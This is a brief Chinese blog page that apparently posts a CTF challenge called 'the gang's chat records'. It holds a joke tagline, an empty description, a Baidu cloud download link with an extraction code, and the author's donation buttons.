恶势力的仓库惨遭毒手,就代表着毒手伸进了恶势力的仓库

# 恶势力的聊天记录

题目描述:

附件下载地址: 链接:https://pan.baidu.com/s/1bGEqgrRgqZ61U8TxAD7qNA 提取码:o07y

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝